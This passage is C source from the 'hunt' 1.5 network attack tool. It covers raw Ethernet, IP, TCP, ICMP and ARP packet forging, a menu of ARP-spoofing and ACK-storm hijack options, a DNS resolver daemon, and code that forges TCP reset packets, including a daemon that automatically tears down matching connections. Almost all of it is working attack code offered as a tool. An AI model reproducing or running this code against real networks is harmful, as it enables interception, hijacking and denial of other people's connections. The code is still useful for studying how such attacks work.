8-bit Time To Live */ ip->protocol = IPPROTO_TCP; /* 8-bit Protocol */ ip->frag_off = htons(IP_DF); ip->saddr = ts->saddr; /* 32-bit Source Address */ ip->daddr = ts->daddr; /* 32-bit Destination Address */ ip->id = ts->id; ip->check = 0; ip->check = in_cksum((unsigned short *)ip, IPHDR); tcp->seq = ts->seq; if (ts->ack) tcp->ack_seq = ts->ack_seq; tcp->check = 0; tcp->check = ip_in_cksum(ip, (unsigned short *) tcp, sizeof(struct tcphdr) + ts->data_len); memset(&spkt, 0, sizeof(spkt)); strncpy(spkt.sa_data, eth_device, sizeof(spkt.sa_data)); memset(&msg, 0, sizeof(msg)); msg.msg_name = &spkt; msg.msg_namelen = sizeof(spkt); msg.msg_iovlen = 1; msg.msg_iov = &iov; iov.iov_base = buf; iov.iov_len = sizeof(struct ethhdr) + tot_len; retval = Sendmsg(linksock, &msg, 0); return retval; } int send_icmp_packet(struct icmp_spec *is) { int tot_len, retval; char buf[2048], *data; struct ethhdr *eth; struct iphdr *ip; struct icmphdr *icmp; struct msghdr msg; struct sockaddr spkt; struct iovec iov; int data_len; eth = (struct ethhdr *) buf; memcpy(eth->h_dest, is->dst_mac, ETH_ALEN); memcpy(eth->h_source, is->src_mac, ETH_ALEN); eth->h_proto = htons(ETH_P_IP); ip = (struct iphdr *) (eth + 1); icmp = (struct icmphdr *) (ip + 1); data = (char *) (icmp + 1); memset(ip, 0, sizeof(struct iphdr)); memset(icmp, 0, sizeof(struct icmphdr)); if (!is->data_len) { memset(data, 0, 64); data_len = 64; } else { memcpy(data, is->data, is->data_len); data_len = is->data_len; } ip->version = 4; ip->ihl = 5; tot_len = IPHDR + sizeof(struct icmphdr) + data_len; ip->tot_len = htons(tot_len); ip->ttl = 64; ip->protocol = IPPROTO_ICMP; ip->saddr = is->src_addr; ip->daddr = is->dst_addr; ip->frag_off = htons(IP_DF); ip->id = 0; ip->check = 0; ip->check = in_cksum((unsigned short *)ip, IPHDR); assert(sizeof(struct icmphdr) == 8); icmp->type = is->type; icmp->code = is->code; icmp->un.gateway = is->un.res ; icmp->checksum = 0; icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + data_len); memset(&spkt, 0, sizeof(spkt)); strncpy(spkt.sa_data, eth_device, sizeof(spkt.sa_data)); memset(&msg, 0, sizeof(msg)); msg.msg_name = &spkt; msg.msg_namelen = sizeof(spkt); msg.msg_iovlen = 1; msg.msg_iov = &iov; iov.iov_base = buf; iov.iov_len = sizeof(struct ethhdr) + tot_len; retval = Sendmsg(linksock, &msg, 0); return retval; } void send_icmp_request(unsigned int src_addr, unsigned int dst_addr, char *src_mac, char *dst_mac, unsigned short seq) { struct icmp_spec icmp; icmp.src_addr = src_addr; icmp.dst_addr = dst_addr; icmp.src_mac = src_mac; icmp.dst_mac = dst_mac; icmp.type = 8; icmp.code = 0; icmp.un.idseq.id = htons(0xAA); icmp.un.idseq.seq = seq; icmp.data = NULL; icmp.data_len = 0; send_icmp_packet(&icmp); } int is_icmp_reply(struct packet *p, unsigned int src_addr, unsigned int dst_addr, char *src_mac, char *dst_mac) { struct iphdr *iph = p->p_iph; struct icmphdr *icmph = p->p_hdr.p_icmph; struct ethhdr *ethh = p->p_ethh; unsigned short seq, id; if (iph->saddr == src_addr && iph->daddr == dst_addr && icmph->type == 0 && icmph->code == 0) { seq = (icmph->un.gateway & 0xFFFF0000) >> 16; id = icmph->un.gateway & 0xFFFF; #if 1 if (id != htons(0xAA)) return 0; #endif if (memcmp(ethh->h_dest, dst_mac, ETH_ALEN) == 0 && memcmp(ethh->h_source, src_mac, ETH_ALEN) == 0) return 1; else return 2; } return 0; } int send_arp_packet(struct arp_spec *as) { char buf[512]; int retval, data_len; struct msghdr msg; struct iovec iov; struct ethhdr *eth; struct arphdr *arp; struct arpeth_hdr *arpeth; struct sockaddr spkt; eth = (struct ethhdr *) buf; memcpy(eth->h_dest, as->dst_mac, ETH_ALEN); memcpy(eth->h_source, as->src_mac, ETH_ALEN); eth->h_proto = htons(ETH_P_ARP); arp = (struct arphdr *) (eth + 1); arp->ar_hrd = htons(ARPHRD_ETHER); arp->ar_pro = htons(ETH_P_IP); arp->ar_hln = ETH_ALEN; arp->ar_pln = 4; /* IP */ arp->ar_op = as->oper; arpeth = (struct arpeth_hdr *)(arp + 1); memcpy(arpeth->ar_sha, as->sender_mac, ETH_ALEN); *(unsigned long *)arpeth->ar_sip = as->sender_addr; memcpy(arpeth->ar_tha, as->target_mac, ETH_ALEN); *(unsigned long *)arpeth->ar_tip = as->target_addr; memset(&spkt, 0, sizeof(spkt)); strncpy(spkt.sa_data, eth_device, sizeof(spkt.sa_data)); memset(&msg, 0, sizeof(msg)); msg.msg_name = &spkt; msg.msg_namelen = sizeof(spkt); msg.msg_iovlen = 1; msg.msg_iov = &iov; iov.iov_base = buf; /* * arp packets are sent as 60 bytes packets (sum of structs are 42) */ data_len = sizeof(struct ethhdr) + sizeof(struct arphdr) + sizeof(struct arpeth_hdr); memset(buf + data_len, 0, 60 - data_len); /* iov.iov_len = sizeof(struct ethhdr) + sizeof(struct arphdr) + sizeof(struct arpeth_hdr);*/ iov.iov_len = 60; retval = Sendmsg(linksock, &msg, 0); return retval; } int send_packet(struct packet *p) { int retval; struct sockaddr spkt; struct msghdr msg; struct iovec iov; memset(&spkt, 0, sizeof(spkt)); strncpy(spkt.sa_data, eth_device, sizeof(spkt.sa_data)); memset(&msg, 0, sizeof(msg)); msg.msg_name = &spkt; msg.msg_namelen = sizeof(spkt); msg.msg_iovlen = 1; msg.msg_iov = &iov; iov.iov_base = p->p_raw; iov.iov_len = p->p_raw_len; retval = Sendmsg(linksock, &msg, 0); return retval; } #if 0 void arp_test(void) { struct arp_spec as; int i; char src_mac[6] = {0x00, 0x60, 0x97, 0x75, 0xA4, 0xA4}; char dst_mac[6] = {0x00, 0x60, 0x97, 0x72, 0x4E, 0xB5}; char sender[6] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF}; linksock = tap(eth_device, 1); as.src_mac = sender; as.dst_mac = dst_mac; as.oper = htons(ARPOP_REPLY); /* ARPOP_REQUEST */ as.sender_mac = sender; as.sender_addr = inet_addr("192.168.32.13"); as.target_mac = dst_mac; as.target_addr = inet_addr("192.168.32.10"); send_arp_packet(&as); close(linksock); } #endif hunt-1.5/options.c100644 0 0 14053 7114735065 12306 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #define LINES_O_UNLIMITED 1000000 int lines_o = LINES_O_UNLIMITED; static void list_conn_properties(void) { int c; int mac, seq; c = menu_choose_char("print MAC y/n", "ny", conn_list_mac ? 'y' : 'n'); switch (c) { case 'n': mac = 0; break; case 'y': mac = 1; break; default: return; } c = menu_choose_char("print SEQ y/n", "ny", conn_list_seq ? 'y' : 'n'); switch (c) { case 'n': seq = 0; break; case 'y': seq = 1; break; default: return; } conn_list_mac = mac; conn_list_seq = seq; } static void suggest_mac_setup(void) { char buf[128]; unsigned char buf_mac[ETH_ALEN]; sprintf_eth_mac(buf, __suggest_mac); if (menu_choose_mac("suggest MAC base", buf_mac, buf) < 0) return; memcpy(__suggest_mac, buf_mac, sizeof(buf_mac)); } static void print_host_properties(void) { switch (menu_choose_char("Resolve host names", "yn", hl_mode == HL_MODE_NR ? 'n' : 'y')) { case 'y': hl_mode = HL_MODE_DEFERRED; break; case 'n': hl_mode = HL_MODE_NR; break; default: break; } } static void mac_learn_from_ip_opt(void) { switch (menu_choose_char("Learn MAC from IP traffic", "yn", mac_learn_from_ip == 0 ? 'n' : 'y')) { case 'y': mac_learn_from_ip = 1; break; case 'n': mac_learn_from_ip = 0; break; default: break; } } static void storm_reset_sec_setup(void) { int sec; if ((sec = menu_choose_unr("ACK storm reset sec", 0, 10000, storm_reset_sec)) < 0) return; storm_reset_sec = sec; } static void stormack_hijack_wait_sec_setup(void) { int sec; if ((sec = menu_choose_unr("Sec to wait for next cmd with simple hijack", 0, 10000, stormack_hijack_wait_sec)) < 0) return; stormack_hijack_wait_sec = sec; } static void arp_rr_count_setup(void) { int n; if ((n = menu_choose_unr("Number of ARP request/reply packets hunt will send", 1, 32, arp_rr_count)) < 0) return; arp_rr_count = n; } static void arp_request_spoof_through_request_setup(void) { switch (menu_choose_char("arp request spoof through request", "yn", arp_request_spoof_through_request ? 'y' : 'n')) { case 'y': arp_request_spoof_through_request = 1; break; case 'n': arp_request_spoof_through_request = 0; break; default: break; } } static void arp_spoof_switch_setup(void) { switch (menu_choose_char("switched environment", "yn", arp_spoof_switch ? 'y' : 'n')) { case 'y': arp_spoof_switch = 1; break; case 'n': arp_spoof_switch = 0; break; default: break; } } static void arp_spoof_with_my_mac_setup(void) { switch (menu_choose_char("use my mac in ARP spoofing", "yn", arp_spoof_with_my_mac ? 'y' : 'n')) { case 'y': arp_spoof_with_my_mac = 1; break; case 'n': arp_spoof_with_my_mac = 0; break; default: break; } } static void printed_lines_per_page(void) { int n; n = lines_o; if (n == LINES_O_UNLIMITED) n = 0; if ((n = menu_choose_unr("Number of printed lines per page in listenings", 0, 10000, n)) < 0) return; if (n == 0) lines_o = LINES_O_UNLIMITED; else lines_o = n; } int print_cntrl_chars = 1; static void print_cntrl_chars_setup(void) { switch (menu_choose_char("print cntrl chars", "yn", 'y')) { case 'y': print_cntrl_chars = 1; break; case 'n': print_cntrl_chars = 0; break; default: break; } } static void verbose_setup(void) { switch (menu_choose_char("verbose", "yn", verbose ? 'y' : 'n')) { case 'y': verbose = 1; break; case 'n': verbose = 0; break; default: break; } } void lines_o_press_key(void) { press_key("press key"); } void options_menu(void) { char buf_menu[2048]; char buf_mac[128]; char *o_keys = "lamdcghrsqtwyepvix"; int run_it; run_it = 1; while (run_it) { sprintf_eth_mac(buf_mac, __suggest_mac); sprintf(buf_menu, "l) list add conn policy \n" "a/m/d) add/mod/del conn policy entry \n" "c) conn list properties mac %c, seq %c\n" "g) suggest mac base %s\n" "h) host resolving %c " " t) arp req spoof through req %c\n" "r) reset ACK storm timeout %3ds" " w) switched environment %c\n" "s) simple hijack cmd timeout %3ds" " y) arp spoof with my mac %c\n" "q) arp req/rep packets %3d " " e) learn MAC from IP traffic %c\n" "p) number of lines per page %3d " " v) verbose %c\n" "i) print cntrl chars %c\n" "x) return\n", conn_list_mac ? 'y' : 'n', conn_list_seq ? 'y' : 'n', buf_mac, hl_mode == HL_MODE_NR ? 'n' : 'y', arp_request_spoof_through_request ? 'y' : 'n', storm_reset_sec, arp_spoof_switch ? 'y' : 'n', stormack_hijack_wait_sec, arp_spoof_with_my_mac ? 'y' : 'n', arp_rr_count, mac_learn_from_ip ? 'y' : 'n', lines_o == LINES_O_UNLIMITED ? 0 : lines_o, verbose ? 'y' : 'n', print_cntrl_chars ? 'y' : 'n'); switch (menu("options", buf_menu, "opt", o_keys, 0)) { case 'l': addpolicy_list_items(); break; case 'a': addpolicy_add_item(); break; case 'd': addpolicy_del_item(); break; case 'm': addpolicy_mod_item(); break; case 'c': list_conn_properties(); break; case 'g': suggest_mac_setup(); break; case 'h': print_host_properties(); break; case 'r': storm_reset_sec_setup(); break; case 's': stormack_hijack_wait_sec_setup(); break; case 'e': mac_learn_from_ip_opt(); break; case 't': arp_request_spoof_through_request_setup(); break; case 'w': arp_spoof_switch_setup(); break; case 'y': arp_spoof_with_my_mac_setup(); break; case 'q': arp_rr_count_setup(); break; case 'p': printed_lines_per_page(); break; case 'v': verbose_setup(); break; case 'i': print_cntrl_chars_setup(); break; case 'x': run_it = 0; break; } } } hunt-1.5/resolv.c100644 0 0 27322 6661544241 12130 0ustar rootroot#include "hunt.h" #include #include #include #include #include #include #include #include #include #include #include #include "c/hash.h" #define CHECK_INTERVAL (10) #define RESOLV_ITEM_LIVETIME (20 * 60) #define RESOLV_ITEM_REFRESH (RESOLV_ITEM_LIVETIME / 2) struct hash ip_to_name_table; int hl_mode = 0; struct req { unsigned int ip; struct req *next; /* doesn't used if passed through pipe */ }; struct res { int err; unsigned int ip; int name_len; char name[0]; /* little trick, see later */ }; struct slave { struct req s_req; time_t s_timestamp; pid_t s_pid; int s_fd; struct slave *s_next; }; #define MAX_SLAVES 5 #define SLAVE_MAX_IDLE (1 * 60) static int fd_req = -1; /* pipe to resolver daemon */ static pid_t pid_req = 0; /* pid of resolver daemon */ static pid_t pid_parent = 0; /* * operation on hash table */ void resolv_remove(unsigned int ip) { struct resolv_item *r; if ((r = hash_remove(&ip_to_name_table, ip, NULL))) { pthread_mutex_lock(&r->mutex); if (r->name) free(r->name); free(r); } } void resolv_put(unsigned int ip, const char *name) { struct resolv_item *r; hash_lock(&ip_to_name_table); resolv_remove(ip); r = malloc(sizeof(struct resolv_item)); r->name = strdup(name); r->put_timestamp = r->get_timestamp = time(NULL); pthread_mutex_init(&r->mutex, NULL); hash_put(&ip_to_name_table, ip, r); hash_unlock(&ip_to_name_table); } struct resolv_item *resolv_get(unsigned int ip) { struct resolv_item *r; hash_lock(&ip_to_name_table); if ((r = hash_get(&ip_to_name_table, ip, NULL))) { pthread_mutex_lock(&r->mutex); r->get_timestamp = time(NULL); } hash_unlock(&ip_to_name_table); return r; } void resolv_release(struct resolv_item *r) { pthread_mutex_unlock(&r->mutex); } void resolv_request(unsigned int ip) { struct req req; struct in_addr addr; addr.s_addr = ip; req.ip = ip; req.next = NULL; write(fd_req, &req, sizeof(struct req)); resolv_put(ip, inet_ntoa(addr)); /* ok, will be changed after request is processed */ } static void check_interval(int __time) { struct hash_iterator li; struct resolv_item *r; unsigned int ip; hash_lock(&ip_to_name_table); hash_iter_set(&li, &ip_to_name_table); while ((r = hash_iter_get(&li, &ip))) { if (r->put_timestamp + RESOLV_ITEM_LIVETIME < __time) resolv_remove(ip); else if (r->get_timestamp - r->put_timestamp >= RESOLV_ITEM_REFRESH) resolv_request(ip); } hash_iter_end(&li); hash_unlock(&ip_to_name_table); } static void *update_thr(void *arg) { struct timeval timeout; fd_set rdset; int fd = (int) arg; struct res r; char buf[256]; int update_thr_run; int retval; time_t __time; time_t last_time_check; pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); if (verbose) printf("update resolv thread pid %d\n", getpid()); setpriority(PRIO_PROCESS, getpid(), 10); update_thr_run = 1; last_time_check = 0; while (update_thr_run && pthread_kill(main_thread_id, 0) == 0) { FD_ZERO(&rdset); FD_SET(fd, &rdset); timeout.tv_sec = min(CHECK_INTERVAL, 10); timeout.tv_usec = 0; retval = select(fd + 1, &rdset, NULL, NULL, &timeout); if (retval > 0 && FD_ISSET(fd, &rdset) && read(fd, &r, sizeof(struct res)) == sizeof(struct res)) { if (r.err == 0 && r.name_len) { if (read(fd, buf, r.name_len) != r.name_len) printf("bad read of len in update thr\n"); buf[r.name_len] = 0; resolv_put(r.ip, buf); } } __time = time(NULL); if (last_time_check + CHECK_INTERVAL < __time) { check_interval(__time); last_time_check = __time; } } return NULL; } /* * daemon/slaves for resolving */ static volatile int resolv_slave_run; static void sig_slave_term(int signum) { resolv_slave_run = 0; } static void resolv_slave(int fd) { struct sigaction sa; struct in_addr addr; struct hostent *host_ent; struct timeval timeout; char buf[256]; struct res *res; struct req req; char *name; fd_set rdset; int retval; setpriority(PRIO_PROCESS, getpid(), 10); resolv_slave_run = 1; sa.sa_handler = sig_slave_term; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; sigaction(SIGTERM, &sa, NULL); while (resolv_slave_run && getppid() != 1) { FD_ZERO(&rdset); FD_SET(fd, &rdset); timeout.tv_sec = 10; timeout.tv_usec = 0; retval = select(fd + 1, &rdset, NULL, NULL, &timeout); if (retval > 0 && FD_ISSET(fd, &rdset) && read(fd, &req, sizeof(struct req)) == sizeof(struct req)) { addr.s_addr = req.ip; host_ent = NULL; host_ent = gethostbyaddr((char *)&addr, sizeof(struct in_addr), AF_INET); res = (struct res *) buf; if (!host_ent) { /* name = inet_ntoa(addr); */ res->err = 1; res->ip = req.ip; res->name_len = 0; } else { name = host_ent->h_name; /* make sure write is atomic - dont use several writes * the kernel garantie atomicity to 1024B */ res->err = 0; res->ip = req.ip; res->name_len = strlen(name) + 1; strcpy(res->name, name); assert((void *) res->name == (void *)(res + 1)); } write(fd, res, sizeof(struct res) + res->name_len); } } close(fd); exit(0); } static volatile int resolv_daemon_run; static void sig_term(int signum) { resolv_daemon_run = 0; } static void send_req_to_slave(int fd, struct list *slaves, struct list *requests) { struct list_iterator li; struct slave *sl; struct req *r; struct req req; int pipe[2]; list_iter_set(&li, slaves); while (list_count(requests) && (sl = list_iter_get(&li))) { if (sl->s_req.ip == 0) { r = list_pop(requests); sl->s_req = *r; sl->s_req.next = NULL; sl->s_timestamp = time(NULL); req = *r; req.next = NULL; write(sl->s_fd, &req, sizeof(struct req)); free(r); } } list_iter_end(&li); while (list_count(requests) && list_count(slaves) < MAX_SLAVES) { r = list_pop(requests); sl = malloc(sizeof(struct slave)); sl->s_req = *r; sl->s_timestamp = time(NULL); req = *r; free(r); socketpair(AF_UNIX, SOCK_STREAM, 0, pipe); sl->s_fd = pipe[0]; if ((sl->s_pid = fork()) == 0) { /* slave */ close(pipe[0]); close(fd); list_iter_set(&li, slaves); while ((sl = list_iter_get(&li))) close(sl->s_fd); list_iter_end(&li); resolv_slave(pipe[1]); exit(0); } else if (sl->s_pid > 0) { /* parent */ close(pipe[1]); list_enqueue(slaves, sl); write(sl->s_fd, &req, sizeof(struct req)); } else printf("err launching dns slave\n"); } } static void remove_idle_slaves(struct list *slaves) { struct list_iterator li; struct slave *sl; time_t cur_time; cur_time = time(NULL); list_iter_set(&li, slaves); while ((sl = list_iter_get(&li))) { if (sl->s_req.ip == 0 && sl->s_timestamp + SLAVE_MAX_IDLE < cur_time) { kill(sl->s_pid, SIGTERM); waitpid(sl->s_pid, NULL, 0); close(sl->s_fd); list_remove(slaves, sl); free(sl); } } list_iter_end(&li); } static void cleanup_slaves(struct list *slaves) { struct list_iterator li; struct slave *sl; list_iter_set(&li, slaves); while ((sl = list_iter_get(&li))) kill(sl->s_pid, SIGTERM); list_iter_end(&li); list_iter_set(&li, slaves); while ((sl = list_iter_get(&li))) waitpid(sl->s_pid, NULL, 0); list_iter_end(&li); while ((sl = list_pop(slaves))) free(sl); } static void handle_response(int fd, struct slave *sl) { char buf[256]; struct res *res; res = (struct res *) buf; if (read(sl->s_fd, buf, sizeof(struct res)) == sizeof(struct res)) { if (res->name_len) read(sl->s_fd, res + 1, res->name_len); if (res->err == 0) { write(fd, buf, sizeof(struct res) + res->name_len); } sl->s_req.ip = 0; sl->s_timestamp = time(NULL); } } static void resolv_daemon(int fd) { struct list_iterator li; struct sigaction sa; struct req req; struct list slaves = LIST_INIT(struct slave, s_next); struct list requests = LIST_INIT(struct req, next); struct req *r; fd_set select_fd; int select_max; struct timeval timeout; struct slave *sl; int retval; if (verbose) printf("resolv daemon pid %d\n", getpid()); setpriority(PRIO_PROCESS, getpid(), 10); resolv_daemon_run = 1; sa.sa_handler = sig_term; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; sigaction(SIGTERM, &sa, NULL); while (resolv_daemon_run && kill(pid_parent, 0) == 0) { FD_ZERO(&select_fd); select_max = 0; list_iter_set(&li, &slaves); while ((sl = list_iter_get(&li))) { FD_SET(sl->s_fd, &select_fd); select_max = max(select_max, sl->s_fd); } list_iter_end(&li); FD_SET(fd, &select_fd); select_max = max(select_max, fd); timeout.tv_sec = 10; timeout.tv_usec = 0; retval = select(select_max + 1, &select_fd, NULL, NULL, &timeout); if (retval > 0) { /* handle responses from clients */ list_iter_set(&li, &slaves); while ((sl = list_iter_get(&li))) { if (FD_ISSET(sl->s_fd, &select_fd)) handle_response(fd, sl); } list_iter_end(&li); /* handle requests from hunt */ if (FD_ISSET(fd, &select_fd)) { if (read(fd, &req, sizeof(struct req)) == sizeof(struct req)) { r = malloc(sizeof(struct req)); *r = req; list_enqueue(&requests, r); } } send_req_to_slave(fd, &slaves, &requests); } remove_idle_slaves(&slaves); } cleanup_slaves(&slaves); close(fd); exit(0); } char *host_lookup(unsigned int in, int use_mode) { static char hostname_buf[BUFSIZE] = {0}; static int hostname_idx = 0; struct in_addr addr; char *name, *retval; int len; struct hostent *host_ent; struct resolv_item *r; addr.s_addr = in; host_ent = NULL; if (in == 0) return inet_ntoa(addr); r = NULL; switch (use_mode) { case HL_MODE_NAME: if (!(r = resolv_get(in))) { host_ent = gethostbyaddr((char *)&addr, sizeof(struct in_addr), AF_INET); if(!host_ent) name = inet_ntoa(addr); else name = host_ent->h_name; } else name = r->name; break; case HL_MODE_DEFERRED: if (!(r = resolv_get(in))) { resolv_request(in); name = inet_ntoa(addr); } else name = r->name; break; case HL_MODE_NR: default: name = inet_ntoa(addr); break; } len = strlen(name); if (len + hostname_idx + 1 > sizeof(hostname_buf)) hostname_idx = 0; strcpy((retval = hostname_buf + hostname_idx), name); hostname_idx += len + 1; if (r) resolv_release(r); return retval; } /* * init/done */ void resolv_init(void) { int pipe[2]; pthread_t res_update_thr; pid_parent = getppid(); socketpair(AF_UNIX, SOCK_STREAM, 0, pipe); if ((pid_req = fork()) == 0) { /* child */ close(pipe[0]); sigprocmask(SIG_BLOCK, &intr_mask, NULL); resolv_daemon(pipe[1]); } else if (pid_req < 0) { printf("dns daemon failed to start - exiting\n"); exit(1); } close(pipe[1]); fd_req = pipe[0]; hash_init(&ip_to_name_table, 100, NULL); pthread_create(&res_update_thr, NULL, update_thr, (void *) fd_req); } void resolv_done(void) { kill(pid_req, SIGTERM); waitpid(pid_req, NULL, 0); } char *port_lookup(unsigned short serv, int use_mode) { static char servname_buf[BUFSIZE] = {0}; static int servname_idx = 0; char name_buf[64]; char *name, *retval; int len; struct servent *serv_ent; if (serv == 0) return "0"; switch (use_mode) { case HL_MODE_NAME: case HL_MODE_DEFERRED: serv_ent = getservbyport(serv, "tcp"); if(!serv_ent) ; /* go through */ else { name = serv_ent->s_name; break; } case HL_MODE_NR: default: name = name_buf; sprintf(name, "%d", ntohs(serv)); break; } len = strlen(name); if (len + servname_idx + 1 > sizeof(servname_buf)) servname_idx = 0; strcpy((retval = servname_buf + servname_idx), name); servname_idx += len + 1; return retval; } unsigned short service_lookup(char *name) { struct servent *serv_ent; if (!(serv_ent = getservbyname(name, "tcp"))) return 0; else return htons(serv_ent->s_port); } hunt-1.5/rst.c100644 0 0 3634 6614614701 11403 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include /* * reset tcp connection */ void user_rst(struct user_conn_info *uci, int count, int mode) { struct conn_info *ci; unsigned int key; if (!(ci = conn_get(uci))) printf("connection isn't available\n"); else { switch (mode) { case MODE_BOTH: rst(ci, count, 0); rst(ci, count, 1); break; case MODE_SRC: rst(ci, count, 0); break; case MODE_DST: rst(ci, count, 1); break; } /* * well we don't receive RST packet, because we are the one * who is sending it so we have to remove it by hand */ key = uci_generate_key(uci); hash_remove(&conn_table, key, uci); conn_free(ci); } } void rst(struct conn_info *ci, int count, int rstdst) { struct tcp_spec ts; int i; if (rstdst) { ts.saddr = ci->src_addr; ts.daddr = ci->dst_addr; ts.sport = ci->src_port; ts.dport = ci->dst_port; ts.src_mac = ci->dst.dst_mac; ts.dst_mac = ci->dst.src_mac; ts.window = ci->src.window ? ci->src.window : htons(242); ts.id = ci->src.id; } else { ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = ci->src.dst_mac; ts.dst_mac = ci->src.src_mac; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = ci->dst.id; } ts.ack = 1; ts.rst = 1; ts.psh = 0; ts.data = NULL; ts.data_len = 0; for (i = 0; i < count; i++) { if (rstdst) { ts.seq = htonl(ntohl(ci->dst.next_d_seq) + i); ts.ack_seq = htonl(ntohl(ci->dst.next_seq) + i); } else { ts.seq = htonl(ntohl(ci->src.next_d_seq) + i); ts.ack_seq = htonl(ntohl(ci->src.next_seq) + i); } send_tcp_packet(&ts); } } hunt-1.5/rstd.c100644 0 0 22511 6742564521 11570 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include /* * reset daemon */ struct rst_db_item { unsigned int src_addr; unsigned int src_mask; unsigned int dst_addr; unsigned int dst_mask; unsigned int src_ports[MAX_PORTS + 1]; unsigned int dst_ports[MAX_PORTS + 1]; int rst_mode; int rst_only_syn; struct rst_db_item *next; }; static struct list l_rst_packet = LIST_INIT(struct packet, p_next[MODULE_RSTD]); static struct ifunc_item ifunc_tcp; static pthread_t rstd_thr; static int rstd_running = 0; static struct list l_rst_db = LIST_INIT(struct rst_db_item, next); static inline int packet_match_db_item(struct packet *p, struct rst_db_item *dbi) { struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; if ((iph->saddr & dbi->src_mask) == (dbi->src_addr & dbi->src_mask) && (iph->daddr & dbi->dst_mask) == (dbi->dst_addr & dbi->dst_mask) && port_match(tcph->source, dbi->src_ports) && port_match(tcph->dest, dbi->dst_ports)) { if (!dbi->rst_only_syn) { return 1; } if (tcph->syn) { return 1; } } return 0; } static struct rst_db_item *packet_match_db(struct packet *p) { struct list_iterator li; struct rst_db_item *dbi; list_lock(&l_rst_db); list_iter_set(&li, &l_rst_db); while ((dbi = list_iter_get(&li))) { if (packet_match_db_item(p, dbi)) break; } list_iter_end(&li); list_unlock(&l_rst_db); return dbi; } /* * this function is running in the hunt thread */ static void func_tcp_packet(struct packet *p, void *arg) { struct rst_db_item *dbi; if (/*p->p_hdr.p_tcph->syn || */ p->p_hdr.p_tcph->fin) return; if ((dbi = packet_match_db(p))) { packet_want(p); p->p_arg[MODULE_RSTD] = (void *) dbi->rst_mode; list_produce(&l_rst_packet, p); } } static void *rst_daemon_thr(void *arg) { struct iphdr *iph; struct tcphdr *tcph; struct conn_info *ci, __ci; struct conn_info *pci; struct user_conn_info uci; struct packet *p; struct timespec ts; int rst_mode; pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); setpriority(PRIO_PROCESS, getpid(), 0); while ((p = list_consume(&l_rst_packet, NULL))) { iph = p->p_iph; tcph = p->p_hdr.p_tcph; uci.src_addr = iph->saddr; uci.dst_addr = iph->daddr; uci.src_port = tcph->source; uci.dst_port = tcph->dest; if (!(pci = conn_get(&uci))) { /* try to get current seq numbers from connection */ __ci.src_addr = iph->saddr; __ci.dst_addr = iph->daddr; __ci.src_port = tcph->source; __ci.dst_port = tcph->dest; __ci.src.next_seq = htonl(ntohl(tcph->seq) + p->p_data_len); __ci.src.next_d_seq = tcph->ack ? tcph->ack_seq : 0; memcpy(__ci.src.src_mac, p->p_ethh->h_source, ETH_ALEN); memcpy(__ci.src.dst_mac, p->p_ethh->h_dest, ETH_ALEN); __ci.src.window = tcph->window; /* ok, wrong */ __ci.src.id = iph->id; /* ok, wrong */ __ci.dst.next_seq = __ci.src.next_d_seq; __ci.dst.next_d_seq = __ci.src.next_seq; #if 0 memcpy(__ci.dst.src_mac, right_arp_addr(p->p_ethh->h_dest), ETH_ALEN); memcpy(__ci.dst.dst_mac, spoofed_arp_addr(p->p_ethh->h_source), ETH_ALEN); #else memcpy(__ci.dst.src_mac, p->p_ethh->h_dest, ETH_ALEN); memcpy(__ci.dst.dst_mac, p->p_ethh->h_source, ETH_ALEN); #endif __ci.dst.window = tcph->window; /* ok, wrong */ __ci.dst.id = iph->id; /* ok, wrong */ ci = &__ci; } else ci = pci; packet_free(p); rst_mode = (int) p->p_arg[MODULE_RSTD]; ts.tv_sec = 0; ts.tv_nsec = 100000000; switch (rst_mode) { case MODE_SRC: rst(ci, 4, 0); nanosleep(&ts, NULL); rst(ci, 4, 0); break; case MODE_DST: rst(ci, 4, 1); nanosleep(&ts, NULL); rst(ci, 4, 1); break; case MODE_BOTH: rst(ci, 4, 0); rst(ci, 4, 1); nanosleep(&ts, NULL); rst(ci, 4, 0); rst(ci, 4, 1); break; } if (pci) conn_free(pci); } return NULL; } static void rst_daemon_start(void) { if (rstd_running) { printf("daemon already running\n"); return; } list_produce_start(&l_rst_packet); ifunc_tcp.func = func_tcp_packet; ifunc_tcp.arg = NULL; list_enqueue(&l_ifunc_tcp, &ifunc_tcp); pthread_create(&rstd_thr, NULL, rst_daemon_thr, NULL); rstd_running = 1; printf("rst daemon started\n"); } static void rst_daemon_stop(void) { if (!rstd_running) { printf("daemon isn't running\n"); return; } list_remove(&l_ifunc_tcp, &ifunc_tcp); packet_flush(&l_rst_packet); list_produce_done(&l_rst_packet); pthread_join(rstd_thr, NULL); rstd_running = 0; printf("rst daemon stoped\n"); } void print_rst_daemon(void) { if (rstd_running) { if (pthread_kill(rstd_thr, 0) != 0) { pthread_join(rstd_thr, NULL); rstd_thr = (pthread_t) 0; rstd_running = 0; set_tty_color(COLOR_BRIGHTRED); printf("RST daemon failed - bug\n"); set_tty_color(COLOR_LIGHTGRAY); } else printf("R"); } } /* * * user interface * */ static void db_item_print(int i, struct rst_db_item *dbi) { char *str_mode; char buf_src_ports[BUFSIZE], buf_dst_ports[BUFSIZE]; char buf[BUFSIZE]; str_mode = sdbmode_to_char(dbi->rst_mode); sprintf_db_ports(dbi->src_ports, buf_src_ports, sizeof(buf_src_ports), 1); sprintf_db_ports(dbi->dst_ports, buf_dst_ports, sizeof(buf_dst_ports), 1); sprintf(buf, "%s/%d [%s]", host_lookup(dbi->src_addr, hl_mode), count_mask(dbi->src_mask), buf_src_ports); printf("%2d) %-24s --> %s/%d [%s] rst %s 